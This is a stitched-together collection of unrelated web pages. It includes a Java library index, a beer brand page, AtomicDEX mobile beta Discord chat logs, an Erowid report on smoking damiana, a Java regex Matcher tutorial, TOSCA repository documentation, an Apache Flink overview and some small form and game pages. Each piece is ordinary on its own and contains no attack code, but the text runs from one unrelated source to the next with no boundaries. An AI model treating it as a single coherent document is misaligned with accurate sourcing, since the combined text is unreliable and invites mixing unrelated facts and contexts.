Overview
Package
Class
Use
Tree
Deprecated
Index
Help
PREV LETTER
NEXT LETTER
FRAMES
NO FRAMES
All Classes
A
B
C
D
E
F
G
H
I
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Z
L
LicenseCommentInserter
- Class in
edu.biu.scapi.tools
This utility ads SCAPI's license as a header to the all the java files in some folder and in its sub-folders recursively.
LicenseCommentInserter()
- Constructor for class edu.biu.scapi.tools.
LicenseCommentInserter
LoadParties
- Class in
edu.biu.scapi.comm
Utility class for reading a list of parties from some file.
LoadParties(String)
- Constructor for class edu.biu.scapi.comm.
LoadParties
LoggerExtendedLevel
- Class in
edu.biu.scapi.generals
LoggerExtendedLevel(String, int)
- Constructor for class edu.biu.scapi.generals.
LoggerExtendedLevel
Logging
- Class in
edu.biu.scapi.generals
Logging()
- Constructor for class edu.biu.scapi.generals.
Logging
LubyRackoffPrpFromPrfVarying
- Class in
edu.biu.scapi.primitives.prf
The class LubyRackoffPrpFromPrfVarying is one implementation that has a varying input and output length.
LubyRackoffPrpFromPrfVarying()
- Constructor for class edu.biu.scapi.primitives.prf.
LubyRackoffPrpFromPrfVarying
LubyRackoffPrpFromPrfVarying(String)
- Constructor for class edu.biu.scapi.primitives.prf.
LubyRackoffPrpFromPrfVarying
Constructor that accepts a name of a prfVaryingIOLength to be the underlying PRF.
LubyRackoffPrpFromPrfVarying(PrfVaryingIOLength)
- Constructor for class edu.biu.scapi.primitives.prf.
LubyRackoffPrpFromPrfVarying
Constructor that accepts a prfVaryingIOLength to be the underlying PRF.
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
PREV LETTER
NEXT LETTER
FRAMES
NO FRAMES
All Classes
A
B
C
D
E
F
G
H
I
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Z


Since 1908, seven generations of our family have continued to make beer the Gold Bond way. We brew today to inspire tomorrow.
Best Seller
The Gold Bond large can contain 555ml with 5% of alcohol.
Gold Bond Special edition contains a bottle of 850ml with 5% of alcohol.
Beer Collection
$1.49
A 355ML can with 5% of alcohol of the best Canadian beer.
$1.99
A 555ML bottle with 5% of alcohol of the best Canadian beer.
$9.99
A 355ML bottle six pack with 5% of alcohol of the best Canadian beer.
$3.99
A 1L bottle with 5% of alcohol of the best Canadian beer.


This is the official AtomicDEX mobile beta program channel -
Android: https://play.google.com/store/apps/details?id=com.komodoplatform.atomicdex - iOS: https://testflight.apple.com/join/c2mOLEoC - Please use https://github.com/KomodoPlatform/atomicdex/issues for bug reports and feature requests. For critical security bug reports please do send us your encrypted (https://pgp.mit.edu/pks/lookup?op=get&search=0x379287998EE6CF47) report to<EMAIL_ADDRESS>and allow up to 24h for reply. For atomicDEX API (mm2) related issue reports or feature requests please do use https://github.com/KomodoPlatform/atomicDEX-API/issues
AtomicDEX Halloween Stress Test Competition
Win up to 777 KMD for participating in tomorrow's stress test!
https://t.co/J4QUAoSdYm
@AtomicDex @KomodoPlatform $KMD #Komodo https://t.co/oW365Cfzk9
seems to be at the same exact time as the stress test starts
gigamesh31-Oct-19 07:43 AM
wait
has this thing started or not?
we were talking time, now we r talking blocks
i am thoroughly confused
Alright31-Oct-19 07:43 AM
no +4.25 hours(edited)
gigamesh31-Oct-19 07:44 AM
ah good
so unfortunately @NNoperator will have to execute another 30 swaps in a few hours
1
Berg31-Oct-19 07:46 AM
Oh man
I've done so many swaps already ahahaha
See you all in four hours
gigamesh31-Oct-19 07:51 AM
Lol @Berg . you also wrote a misleading ann some days ago re trivia comp for HUSH which confused me
`We’re participating in SafeTrade’s Tuesday Trivia! :fire: Event kicks off at 8:30 PM EST, (00:30 UTC) and there will be :hush_white: HUSH :hush_white: up for grabs as prizes! :moneybag: `
@alexlibertas_ @KomodoPlatform @AtomicDex Some ppl seem to be confused:
12pm GMT is midday, not midnight!
The comp starts at:
12:00 GMT // 13:00 UTC // 08:00 EST // 05:00 PST
So in a little over 4 hours https://t.co/HQifcJPsAU
1
P3L331-Oct-19 08:08 AM
I've got an issue with the AtomicDEX android app.  Any remedy?
 Thanks
ronyi31-Oct-19 08:24 AM
Just a note: I think we need faster transaction. I very like the atomicdex, but this speed is very slow... we need 1-2sec transaction speed, if possible....
Aron“XuanLeeeeee“Goldberg31-Oct-19 08:25 AM
the coins per swap amount doesn't matter, does it?
Artist31-Oct-19 08:28 AM
What is the minimum transaction amount
Btw it is really not that fast as I expected
Gordon Komodo31-Oct-19 08:34 AM
@ronyi the speed is depending on the blockchain speed, although if the speed can be reduced to 1-2 sec (maybe somebody can solve the problem, ex: btc is using lightning network ). It would be no need for CEX(edited)
farl31-Oct-19 08:35 AM
I hate AM and PM times. Just use 12:00 or 24:00 please.
gigamesh31-Oct-19 08:35 AM
Lol
@Aron“XuanLeeeeee“Goldberg
the coins per swap amount doesn't matter, does it?
no, there was no mention of this - any amount is ok
1
@Artist
Btw it is really not that fast as I expected
i had the same reaction at first. important to remember that the trade (i think) is completed quickly, but the settlement depends on the speed of the chain you are swapping with(edited)
Mr.Cryptodude31-Oct-19 08:38 AM
One thing that this DEX needs is price in usd
1
And the order book, does it start with cheapest prices?
Can be little confusing for people who are not used
gigamesh31-Oct-19 08:41 AM
i dont think so (but it should). devs are improving orderbooks iirc
ronyi31-Oct-19 08:41 AM
@Gordon Komodo I know, but this speed is not fast enough. Example: 4dc8ac47-fa7e-438d-8538-e255ca9bc264 this swap id is more than 15min in stage 1.... If we have 1m tx in 1min however imaginable...
Mr.Cryptodude31-Oct-19 08:42 AM
When you trade it should say in a small box what those tokens you are trading are worth in usd, so people don’t accidentally sell a lot of tokens for very little
Otherwise I am loving the DEX just made over 20 swaps for fun
CrisF31-Oct-19 08:43 AM
To Everyone working on AtomicDEX,
Thank you so much for all you efforts. It's awesome!
No doubt you are going to be even busier than usual in the next couple of days and especially over the next few hours. Please know that there are many who are very grateful.
Your hard work will benefit more people than you probably realize, most of whom have not yet heard of AtomicDEX.
Much respect
Have a great stress test!(edited)
6
jl777c31-Oct-19 08:46 AM
the problem with 1 to 2 seconds per trade, is that it will quickly saturate any blockchain that is being actively traded that way. remember blockchain space is a finite resource and each swap is doing the equivalent of exchange deposit, trade, exchange withdraw. compare the times on that basis and atomicDEX is very fast
if you want 1 to 2 second trades of imaginary crypto tokens that is on the CEX, then that is ok too. however, if you want to be actually trading the real crypto, you are limited by the blockchain speed and capacity
1
Mark8131-Oct-19 08:48 AM
Also you have to take into account that depositing to CEX takes a lot of time too.
I have written about multichain clusters where they are all setup to be 1:1 fungible with each other. The way it is implemented is so that…
3
Mr.Cryptodude31-Oct-19 08:50 AM
That is true, I have had to wait up to 3 hours after depositing to Binance. However it took 1 sec to receive coins in my AtomicDEX
jl777c31-Oct-19 08:52 AM
fundamentally an atomic swap is a trustless tx on two blockchains, as opposed to a CEX that is a DB entry for funds that have been deposited that has to be withdrawn. Most of the CEX now require burdensome privacy invasion to withdraw your coins. if that is ok, then you can pretend to be trading the coins in 1 to 2 seconds and trust that you will be able to withdraw your coins.
From a maker point of view, trades takes a lot longer than a few seconds, even on CEX as they have to wait for someone to take their offer.
maybe having the trades taking more than a few seconds will lead to less panic based trades and more thoughtful trades? it would be fantastic if we can get the speed with all the other benefits, but without removing the blockchain throughput bottleneck and then the data storage/sync bottleneck, it seems we are stuck with the relatively slow atomic swaps.
Artist31-Oct-19 08:58 AM
Anyways dex on mobile is an initiative I am sure with development effort it will improve by time
jl777c31-Oct-19 09:00 AM
once there are plenty of offers on the orderbook, the ordermatch should happen in most all cases and with 95%+ completion rate, in most cases, once matched, the trade will complete
1
CrisF31-Oct-19 09:01 AM
I has constantly been improving, so no doubt still will continue.
Some of the new techs that are being develop sure seem to point that way, @Artist
Artist31-Oct-19 09:05 AM
Once my tech blog is up and running I am looking forward to promote komodo
1
on a large scale audience
CrisF31-Oct-19 09:07 AM
I think that when you look in to Komodo you'll find a lot to keep you busy writing. AtomicDEX is quite amazing, but it is only a small piece of the whole.
Artist31-Oct-19 09:07 AM
I know
I might have some ideas about it just have to look into it a bit more
komodo is intuitive and creative that is what I like the most about it, the audience is smart, the technologies and innovations are unique there is a lot to discover...
3
CrisF31-Oct-19 09:13 AM
It isn't said often, but what jl777 has created in Komodo, for others to build on, has true world changing potential.
Thank you for your vision, and even more, for the dedication you've put in to making it possible, @jl777c . (edited)
Artist31-Oct-19 09:14 AM
Well I haven't yet but I am going to and yeah @jl777c is a true hero... indeed
Mr.Cryptodude31-Oct-19 09:16 AM
Imagine seeing a discussion about blockchain between Jl777 and Andreas Antonopolous
Artist31-Oct-19 09:16 AM
hahahahah
Mr.Cryptodude31-Oct-19 09:17 AM
I think minds would explode
Artist31-Oct-19 09:17 AM
I think JL777 might win, English might not be the strong suite of Andreas
I am unsure but he is greek so accent might be a problem but who cares I vote for our guy...
ronyi31-Oct-19 09:22 AM
@jl777c thank you and i understand how the basic dex working. The human nature (time is more precious) i want more speed, unfortunately i don't know the solution. I'm just trying to brainstorm..., how could be faster? Somebody sooner or later will find a solution.
Mr.Cryptodude31-Oct-19 09:25 AM
@Artist I don’t think it would be a competition, just an awesome discussion about technology
CrisF31-Oct-19 09:25 AM
There are some interesting possibilities with the Antara Modules, @ronyi.
Artist31-Oct-19 09:25 AM
yeah man was just kidding
Mr.Cryptodude31-Oct-19 09:25 AM
Hehe :p I know
Artist31-Oct-19 09:25 AM
both are intellect
uals*
Mr.Cryptodude31-Oct-19 09:26 AM
Yes but Craig Wright is the brightest
CrisF31-Oct-19 09:26 AM
Going to get busy in here soon.
Everybody set up?
Mr.Cryptodude31-Oct-19 09:26 AM
He has unmatched wisdom
Artist31-Oct-19 09:26 AM
yeah @CrisF
I am looking forward for a win so I can spend the funds on the newpaper setup..


Amazing Survey
A Name
Favorite Foods
Favorite Music
Dog
Cat
Birthday
Hometown
What is your favorite color?
The worlds most interesting survey
Amazingly interesting survey results!
Name:
Favorite Foods:
Favorite Music:
Cat or Dog:
Birthday:
Hometown:
Favorite color:


I'm a veteran Marijuana smoker, I've been off the plant for over two years now. I've been interested in the 'herbal alternatives' like Salvia and Dagga (as the prospect of a legal high doesn't seem bad), but I haven't got around to purchasing any of them yet.
Anyway, while browsing through an herbal alternative web-site, I came upon Damiana. This shocked me, because at the time I had an ounce of Damiana in my incense stash. I never knew it was used as a Marijuana alternative, though. Intrigued, I figured that it couldn't hurt to try smoking some and see what would happen. On the site, they compared the effects of the plant to a mild form of Marijuana.
So, I rolled myself a cigarette of Damiana leaf. I wasn't expecting a full blast THC high, but then again, I didn't know what to expect. I smoked the cigarette. I found it very soothing. If I had to describe the effects, I would say that it induced a feeling of serenity and peacefulness within and around me. I felt like everything was okay. Nothing drastic happened, no hallucinations or stoned feelings. Just a general feeling of calm and well-being. This lasted for about an hour. It was very pleasant and enjoyable. I would definitely smoke it again for a calm, relaxed afternoon/evening.
I wouldn't suggest this herb for others who are looking for Marijuana substitutes. To me, it's just not comparable at all, and will most likely dissapoint anyone who's expecting to get stoned. As a general smoking experience or Tobacco substitute, it would probably please just about anybody, though. Especially someone who's just looking to relax and have a nice, calm smoke.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Your browser does not support HTML5 :(
Welcome to Panic In The Dark. Use W, A, S, D or the arrow keys to move. Chase other players when you have vision, run from players when it's dark!


This is the official AtomicDEX mobile beta program channel -
Android: https://play.google.com/store/apps/details?id=com.komodoplatform.atomicdex - iOS: https://testflight.apple.com/join/c2mOLEoC - Please use https://github.com/KomodoPlatform/atomicdex/issues for bug reports and feature requests. For critical security bug reports please do send us your encrypted (https://pgp.mit.edu/pks/lookup?op=get&search=0x379287998EE6CF47) report to<EMAIL_ADDRESS>and allow up to 24h for reply. For atomicDEX API (mm2) related issue reports or feature requests please do use https://github.com/KomodoPlatform/atomicDEX-API/issues
100 messages
Before 05-Dec-19 12:00 AM
actionslacks27-Jul-19 08:35 PM
I agree. pirate on atomic dex would be epic.
I think everyone here agrees
it is a signifigant engineering challenge but these devs will be the first to pull it off if anyone can.
mazyar_lp27-Jul-19 09:03 PM
Congratulations .but need more speed
Fast trades
allbits27-Jul-19 09:27 PM
Speed is limited by confirmation times on the blockchain. These are decentralized atomic swaps, not changes in bookkeeping entries by a centralized exchange.
By the way, how does the speed compare to changelly or shapeshift. It's way faster, right?
buralux28-Jul-19 12:04 AM
Hello, there is a crash when try to send BTC from wallet, I’ll try many times always same crash
I kill the app and restart it, this time the error is:
Now I will try others crypto
TonyL28-Jul-19 02:54 AM
@buralux Hello! Please note that withdrawal to segwit addresses isn’t supported at the moment. Maybe it’s a clue in your case. This error message will be improved in next versions(edited)
mazyar_lp28-Jul-19 03:44 AM
@allbits yeah it is way faster .you are right it is in Blockchain
33K28-Jul-19 04:15 AM
Disclaimer&Tos are too long... Scroll down takes forever
2
designer28-Jul-19 05:30 AM
my chainzilla is gone.
t0sma28-Jul-19 05:41 AM
@mazyar_lp for sure, it's much longer compare to a CEX but it's more cheaper and secure.. From my side, I consider that after step 1 "order matched", the trade is done. Step 2 is just the execution of the swap.
TonyL28-Jul-19 06:10 AM
@designer could you please user "Settings -> Send report" option and DM me the log?
@t0sma Actually all steps are important to perform succesful swap. On steps 2 and 3 transactions broadcasting so there is much more failure possibility than on step 1
saskboy28-Jul-19 06:39 AM
I'm interested in testing it, how do I get started?
The evolution of wallets and exchanges into a single application.
saskboy28-Jul-19 07:10 AM
Not yet
TonyL28-Jul-19 07:11 AM
Please DM to @Angelina your email connected to iOS App store or Google Play Market depends of platform on which you want to test
saskboy28-Jul-19 07:12 AM
Just did website, will message @Angelina next.
3
kartha8728-Jul-19 08:36 AM
Does anyone have issue with withdrawing eth from from the atomic Dex eth wallet? I am trying to withdraw eth to my binance eth wallet. But the app throws the error, that the address is wrong. Is it a bug?
@kartha87 atomicDEX mobile uses checksum verification for the ETH address validation. So it is case-sensitive.
4
kartha8728-Jul-19 08:50 AM
That's amazing. Thank you. It worked.
2
@ca333 SO are we supposed to enter eth address in a case sensitive manner or will there be an update where the address can be non case sensitive? Just want to know what is the best practise here?
ca33328-Jul-19 09:16 AM
@kartha87 we actually updated it the other way around. So first we did allow just raw hex (which represents a ETH address) without further validation but noticed that this could cause issues (users sending to a wrong address) - that is why we implemented https://eips.ethereum.org/EIPS/eip-55 - to prevent this risk.(edited)
Ethereum Improvement Proposals (EIPs) describe standards for the Ethereum platform, including core protocol specifications, client APIs, and contract standards.
to answer your question: best practise is to use case-sensitive format to prevent the issues and enjoy the benefits described in eip55
kartha8728-Jul-19 09:24 AM
Got it. Thank you.
Twin32228-Jul-19 10:36 AM
Hi! I registered for the beta, but my play store still shows me that I'm registered and I can not download the app. Could you help me there?
gcharang28-Jul-19 10:40 AM
@Twin322 send your playstore email in DM
Dzy28-Jul-19 11:06 AM
Hello there! Thank you for AtomicDEX and all the work you have done so far in Komodo!
I have done swapping some Ricks and Mortys and wanted to try the real deal - sent LTC from Coinbase to AtomicDEX, which went instantly. Here are some observations:
* after the screen locks while being in DEX tab, all the information (coin, amount) resets to blank - I believe it should keep that information after unlocking screen
* the same happens, if I put information in DEX and then switch to Orders or History sub-tab - after coming back to Trade sub-tab, all the fields are blank again
* I like that fiat equivalent is shown, but I would also like to swap coins based on exchange rate (at least informational calculated values shown), not based only on amount
* is it true - if someone has made a market order, I have only two options - either accept the exchange rate or deny it? Is there no option to make market order myself if someone has already done that?
* What happens with partial orders - for example I want to swap 0.1 BTC to 800 KMD but in the market there is only 400 KMD available for swap?
1
hyperDEX28-Jul-19 11:07 AM
@Dzy the mobile app only does market buy/sells. You would need a desktop app to set limit orders.
Dzy28-Jul-19 11:08 AM
OK, got it!
hyperDEX28-Jul-19 11:09 AM
If you want to try it out, the hyperDEX nightly builds have that functionality right now but is early days and there are some bugs.
Dzy28-Jul-19 11:10 AM
What about partial order matching? Will it execute partially and the remaining half will stay in the market as my market order for the rest to fill and offer liquidity?
hyperDEX28-Jul-19 11:11 AM
Will leave that to atomicDEX support, dont know enough about it to answer with any certainty.
Nightly builds of HyperDEX. Contribute to atomiclabs/hyperdex-nightlies development by creating an account on GitHub.
It is a bit hard to find since we dont have a stable release after packaging it with the new mm2.0 backend.
It works but there might be little bugs here and there, small crashes, but should work for testing little bits of coins.
smk762 - dracocanis ominator28-Jul-19 11:26 AM
@Dzy I added a python wrapper to mm2 here - https://github.com/smk762/pytomicDEX, though it has not been extensively tested and is not 'official', it may be helpful.
Oszy28-Jul-19 11:34 AM
okay, now that it happened 3 times in a row, i am going to report the following:
After a swap timeout on the maker end, my active order list disappears, and newly created orders are not appearing in the list, only a full reinstall fixes the issue.
gcharang28-Jul-19 11:39 AM
@Oszy noted
@Oszy is it android?
Oszy28-Jul-19 11:41 AM
yes.
1
mo788128-Jul-19 12:04 PM
can someone explains what happens to the balance with a failed or timeout transaction?
is it supposed to be retured to sender after a time?
eduard28-Jul-19 12:07 PM
hello, I have a suggestion for MobileDex, if it is possible. And if it is possible to install a button to abort the swap as long as it is not completed, as in a normal exchange the trade cancel.
smk762 - dracocanis ominator28-Jul-19 12:24 PM
@mo7881 failed timeout transactions should return after a time, but there is a chance they get stuck. Make sure to NOT clear cache, so we have the data to perform a manual return if required. To do so, DM your logs to a team member (green name - Angelina, Gcharang, TonyL) for review.
@eduard cancelling a trade is possible, but no button exists yet. Depending on what stage of the trade it has progressed to, this may forfeit the dexfee, and require waiting for the trade to timeout. Personally, I'd avoid cancelling a swap once it has begun.
mo788128-Jul-19 12:33 PM
@smk762 - dracocanis ominator I have a few that failed unreturned. Its all small amounts so im not bothered about getting it back but it could help your development.
gcharang28-Jul-19 12:42 PM
@mo7881 please DM me the log
Settings -> Send Feedback
My 10 year old boy just did #atomicswaps, selling $KMD for $DOGE on my #Android phone in about 3 minutes with #Tor while my #dVPN was still on as well.
Apparently he was tired of swapping $RICK for $MORTY
#Komodo's #decentralized exchange $KMD is truly amazing ...
6
3
buralux28-Jul-19 07:29 PM
Calculation error
1
fat3lvis28-Jul-19 07:38 PM
I am also getting calculation errors with btc and eth
!image
calculation on order creation still working not correct in some cases @Kiruel 0.1 ETH to 25 USDC it's ~250$ ETH/USDC rate or 0.004 USDC/ETH rate (tested on 0.1.5)
@Kiruel could you please check this one? Should be not huge fix (still actual with 0.1.5)
Just use swap button on dashboard hover and "max" button will not appear on DEX page
!image
!image
I wonder clue is that it's hard to guess that such swipe functionality is exists in general if you don't know in advance or swipe accidentally (for exapmle I've learnt about this swipe thing only by accident)
Maybe some hint on first start can help
You'll not able to use funds locked in swap with relevant error print.
What is your suggestion for better indication - how it should looks like and where ?
@ca333 It looks like text on this page should be updated. Sentence about "not to use password" option seems not actual. Instead some sentence about password purpose and difference from seed might be helpful on this page
There is example of seed in this field (it with spaces), also you can press on eye to type and see the seed. Grammar checkers and manipulations with seed input is unsafe practice as far as I know + wif/some custom seed input is possible and separation here will unnecessary complicate things imo
Can confirm that in some rare cases encryption hangs and app killing causing corrupted wallet creation to which is not possible to login. It might be very helpful if you can collect adb logcat logs on this corrupted wallet login attempt.
I am not suggesting a Grammar checker. Just validate the word's existence in the bip39 list
I understand there is an example shown. But checking visually if there is 1 space or two between two words is difficult in a mobile phone.
That is why I proposed a solution where spacebar is not needed.
Also, I haven't suggested manipulating the seed
Yes, the checking is there for the whole seed. User doesn't get an indication of which mistake they made
- Did they add extra spaces? How many?
- Did they make a spelling error in one word?
- more than one word?
How long does it usually take to add new assets to trade? For insatance Neo or Tezos etc. Is there a priority list for coins to be added as well?
gcharang29-Jul-19 12:38 PM
@ohweoh AtomicDEX is a GUI
its backend: Marketmaker(mm2) needs to work with any new coin to be added
all the coins tested to work with mm2 have the key-value mm2: 1 in the file https://github.com/jl777/coins/blob/master/coins
currently BTC forks and ERC20 can be easily added
Tezos and Neo could be added in the future but no ETA
When you try to send LTC to a normal M... address, an unspecific red error message is displayed with "try again later". But trying later always leads to the same result.
zatJUM29-Jul-19 01:15 PM
Will there be a "google play"-free release? APK file or f-droid repo, for example


Matcher
class.
For convenience, the methods listed below
are grouped according to functionality.
public int start()
: Returns the start index of the previous match.
public int start(int group)
: Returns the start index of the subsequence captured by the given group during the previous match operation.
public int end()
: Returns the offset after the last character matched.
public int end(int group)
: Returns the offset after the last character of the subsequence captured by the given group during the previous match operation.
public boolean lookingAt()
: Attempts to match the input sequence, starting at the beginning of the region, against the pattern.
public boolean find()
: Attempts to find the next subsequence of the input sequence that matches the pattern.
public boolean find(int start)
: Resets this matcher and then attempts to find the next subsequence of the input sequence that matches the pattern, starting at the specified index.
public boolean matches()
: Attempts to match the entire region against the pattern.
public Matcher appendReplacement(StringBuffer sb, String replacement)
: Implements a non-terminal append-and-replace step.
public StringBuffer appendTail(StringBuffer sb)
: Implements a terminal append-and-replace step.
public String replaceAll(String replacement)
: Replaces every subsequence of the input sequence that matches the pattern with the given replacement string.
public String replaceFirst(String replacement)
: Replaces the first subsequence of the input sequence that matches the pattern with the given replacement string.
public static String quoteReplacement(String s)
:
Returns a literal replacement String
for the specified String
. This method produces a String
that will work as a literal replacement s
in the appendReplacement
method of the Matcher
class. The String
produced will match the sequence of characters in s
treated as a literal sequence. Slashes ('\'
) and dollar signs ('$'
) will be given no special meaning.
start
and end
MethodsMatcherDemo.java
, that counts the number
of times the word "dog" appears in the input string.
import java.util.regex.Pattern; import java.util.regex.Matcher; public class MatcherDemo { private static final String REGEX = "\\bdog\\b"; private static final String INPUT = "dog dog dog doggie dogg"; public static void main(String[] args) { Pattern p = Pattern.compile(REGEX); Matcher m = p.matcher(INPUT); // get a matcher object int count = 0; while(m.find()) { count++; System.out.println("Match number "+count); System.out.println("start(): "+m.start()); System.out.println("end(): "+m.end()); } } }
OUTPUT: Match number 1 start(): 0 end(): 3 Match number 2 start(): 4 end(): 7 Match number 3 start(): 8 end(): 11
"d" "o" "g"
are not merely a substring in a longer word. It also
gives some useful information about
where in the input string the match has occurred. The
start
method returns the start index of
the subsequence captured by the given group
during the previous match operation, and end
returns the index of the last character matched, plus one.
matches
and lookingAt
Methodsmatches
and lookingAt
methods both
attempt to match an input sequence against a pattern.
The difference, however, is that
matches
requires the entire input sequence to be matched, while
lookingAt
does not. Both methods always start at the beginning of the input string. Here's the full code,
MatchesLooking.java
:
import java.util.regex.Pattern; import java.util.regex.Matcher; public class MatchesLooking { private static final String REGEX = "foo"; private static final String INPUT = "fooooooooooooooooo"; private static Pattern pattern; private static Matcher matcher; public static void main(String[] args) { // Initialize pattern = Pattern.compile(REGEX); matcher = pattern.matcher(INPUT); System.out.println("Current REGEX is: "+REGEX); System.out.println("Current INPUT is: "+INPUT); System.out.println("lookingAt(): "+matcher.lookingAt()); System.out.println("matches(): "+matcher.matches()); } }
Current REGEX is: foo Current INPUT is: fooooooooooooooooo lookingAt(): true matches(): false
replaceFirst(String)
and replaceAll(String)
replaceFirst
and replaceAll
methods
replace text that matches a given regular expression.
As their names indicate, replaceFirst
replaces
the first occurrence, and replaceAll
replaces all occurences.
Here's the
ReplaceDemo.java
code:
import java.util.regex.Pattern; import java.util.regex.Matcher; public class ReplaceDemo { private static String REGEX = "dog"; private static String INPUT = "The dog says meow. All dogs say meow."; private static String REPLACE = "cat"; public static void main(String[] args) { Pattern p = Pattern.compile(REGEX); Matcher m = p.matcher(INPUT); // get a matcher object INPUT = m.replaceAll(REPLACE); System.out.println(INPUT); } }
OUTPUT: The cat says meow. All cats say meow.
dog
are replaced with
cat
.
But why stop here? Rather than replace a simple literal like dog
, you can
replace text that matches any regular expression.
The API for this method states that "given the regular
expression a*b
, the input aabfooaabfooabfoob
, and the
replacement string -
, an invocation of this
method on a matcher for that expression would
yield the string -foo-foo-foo-
."
Here's the
ReplaceDemo2.java
code:
import java.util.regex.Pattern; import java.util.regex.Matcher; public class ReplaceDemo2 { private static String REGEX = "a*b"; private static String INPUT = "aabfooaabfooabfoob"; private static String REPLACE = "-"; public static void main(String[] args) { Pattern p = Pattern.compile(REGEX); Matcher m = p.matcher(INPUT); // get a matcher object INPUT = m.replaceAll(REPLACE); System.out.println(INPUT); } }
OUTPUT: -foo-foo-foo-
replaceFirst
instead of replaceAll
. It accepts the
same parameter.
appendReplacement(StringBuffer,String)
and appendTail(StringBuffer)
The Matcher
class also provides appendReplacement
and
appendTail
methods
for text replacement. The following example,
RegexDemo.java
, uses these two methods
to achieve the same effect as replaceAll
.
import java.util.regex.Pattern; import java.util.regex.Matcher; public class RegexDemo { private static String REGEX = "a*b"; private static String INPUT = "aabfooaabfooabfoob"; private static String REPLACE = "-"; public static void main(String[] args) { Pattern p = Pattern.compile(REGEX); Matcher m = p.matcher(INPUT); // get a matcher object StringBuffer sb = new StringBuffer(); while(m.find()){ m.appendReplacement(sb,REPLACE); } m.appendTail(sb); System.out.println(sb.toString()); } }
OUTPUT: -foo-foo-foo-
java.lang.String
String
class mimics a couple of Matcher
methods as well:
public String replaceFirst(String regex, String replacement)
:
Replaces the first substring of this string that matches the given regular expression with the given replacement. An invocation of this method of the form str.replaceFirst(regex, repl)
yields exactly the same result as the expression Pattern.compile(regex).matcher(str).replaceFirst(repl)
public String replaceAll(String regex, String replacement)
: Replaces each substring of this string that matches the given
regular expression with the given replacement. An invocation of this method of the
form str.replaceAll(regex, repl)
yields exactly the same result as the expression
Pattern.compile(regex).matcher(str).replaceAll(repl)


Extract a Piece of a Date
Tags: Foundation, date
Class: NSCalendar
You need to pass the desired date to a Calendar instance and indicate which component you're interested in.
Link: Apple Developer Docs
Sample Code:
let now = Date()
let gregCalendar = Calendar(identifier: .gregorian)
let year = gregCalendar.component(.year, from: now)
let month = gregCalendar.component(.month, from: now)
let day = gregCalendar.component(.day, from: now)
let dayOfWeek = gregCalendar.component(.weekday, from: now)
Contributed by Herb Bowie on 21 Oct 2019


Repository definition
Edit (pull request)A repository definition defines a named external repository which contains deployment and implementation artifacts that are referenced within the TOSCA Service Template.
Keynames
| Keyname | Required | Type | Description | tosca_definitions_version |
|---|---|---|---|---|
| description | no | string | The optional description for the repository. | alien_dsl_1_3_0 tosca_simple_yaml_1_0 |
| url | yes | string | The URL or network address used to access the repository. | alien_dsl_1_3_0 tosca_simple_yaml_1_0 |
| type (1) | no | string | Repository type is an optional string to find how to fetch elements from a repository. | alien_dsl_1_3_0 |
| credential | no | credential | The optional credential used to authorize access to the repository. | alien_dsl_1_3_0 tosca_simple_yaml_1_0 |
- (1) type keyname is specific to alien 4 cloud and tells alien4cloud how to fetch artifacts besides the protocol information and how to use specific artifact notations that are more in line with the desired user point of view notation (like for maven artifacts). This keyname is optional and alien can also find this information based on configured repositories.
Repositories available in Alien 4 cloud
Alien 4 cloud premium support the following external repository : http, git maven.
Grammar
# Simple definition is as follows:
<repository_name>: <repository_address>
# The full definition is as follows:
<repository_name>:
description: <repository_description>
url: <repository_address>
credential: <authorization_credential>
See:
Example
The following represents a repository definition:
repositories:
docker_hub: https://registry.hub.docker.com/
script_repo:
url: https://myCompany/script
credential: good_user:real_secured_password
nexus_artifact_repo:
url: https://fastconnect.org/maven/content/repositories/fastconnect
credential: bad_user:real_secured_password
git_repo:
url: https://github.com/myId/myRepo.git


What is Apache Flink? — Architecture #
Apache Flink is a framework and distributed processing engine for stateful computations over unbounded and bounded data streams. Flink has been designed to run in all common cluster environments, perform computations at in-memory speed and at any scale.
Here, we explain important aspects of Flink’s architecture.
Process Unbounded and Bounded Data #
Any kind of data is produced as a stream of events. Credit card transactions, sensor measurements, machine logs, or user interactions on a website or mobile application, all of these data are generated as a stream.
Data can be processed as unbounded or bounded streams.
-
Unbounded streams have a start but no defined end. They do not terminate and provide data as it is generated. Unbounded streams must be continuously processed, i.e., events must be promptly handled after they have been ingested. It is not possible to wait for all input data to arrive because the input is unbounded and will not be complete at any point in time. Processing unbounded data often requires that events are ingested in a specific order, such as the order in which events occurred, to be able to reason about result completeness.
-
Bounded streams have a defined start and end. Bounded streams can be processed by ingesting all data before performing any computations. Ordered ingestion is not required to process bounded streams because a bounded data set can always be sorted. Processing of bounded streams is also known as batch processing.
Apache Flink excels at processing unbounded and bounded data sets. Precise control of time and state enable Flink’s runtime to run any kind of application on unbounded streams. Bounded streams are internally processed by algorithms and data structures that are specifically designed for fixed sized data sets, yielding excellent performance.
Convince yourself by exploring the use cases that have been built on top of Flink.
Deploy Applications Anywhere #
Apache Flink is a distributed system and requires compute resources in order to execute applications. Flink integrates with all common cluster resource managers such as Hadoop YARN, Apache Mesos, and Kubernetes but can also be setup to run as a stand-alone cluster.
Flink is designed to work well each of the previously listed resource managers. This is achieved by resource-manager-specific deployment modes that allow Flink to interact with each resource manager in its idiomatic way.
When deploying a Flink application, Flink automatically identifies the required resources based on the application’s configured parallelism and requests them from the resource manager. In case of a failure, Flink replaces the failed container by requesting new resources. All communication to submit or control an application happens via REST calls. This eases the integration of Flink in many environments.
Run Applications at any Scale #
Flink is designed to run stateful streaming applications at any scale. Applications are parallelized into possibly thousands of tasks that are distributed and concurrently executed in a cluster. Therefore, an application can leverage virtually unlimited amounts of CPUs, main memory, disk and network IO. Moreover, Flink easily maintains very large application state. Its asynchronous and incremental checkpointing algorithm ensures minimal impact on processing latencies while guaranteeing exactly-once state consistency.
Users reported impressive scalability numbers for Flink applications running in their production environments, such as
- applications processing multiple trillions of events per day,
- applications maintaining multiple terabytes of state, and
- applications running on thousands of cores.
Leverage In-Memory Performance #
Stateful Flink applications are optimized for local state access. Task state is always maintained in memory or, if the state size exceeds the available memory, in access-efficient on-disk data structures. Hence, tasks perform all computations by accessing local, often in-memory, state yielding very low processing latencies. Flink guarantees exactly-once state consistency in case of failures by periodically and asynchronously checkpointing the local state to durable storage.


Hello, My name is Skew.
I will help you know what type of a triangle you have.
Please input the length of the sides in the slots below.
Learn more about triangles


Patching
Reverse Patch
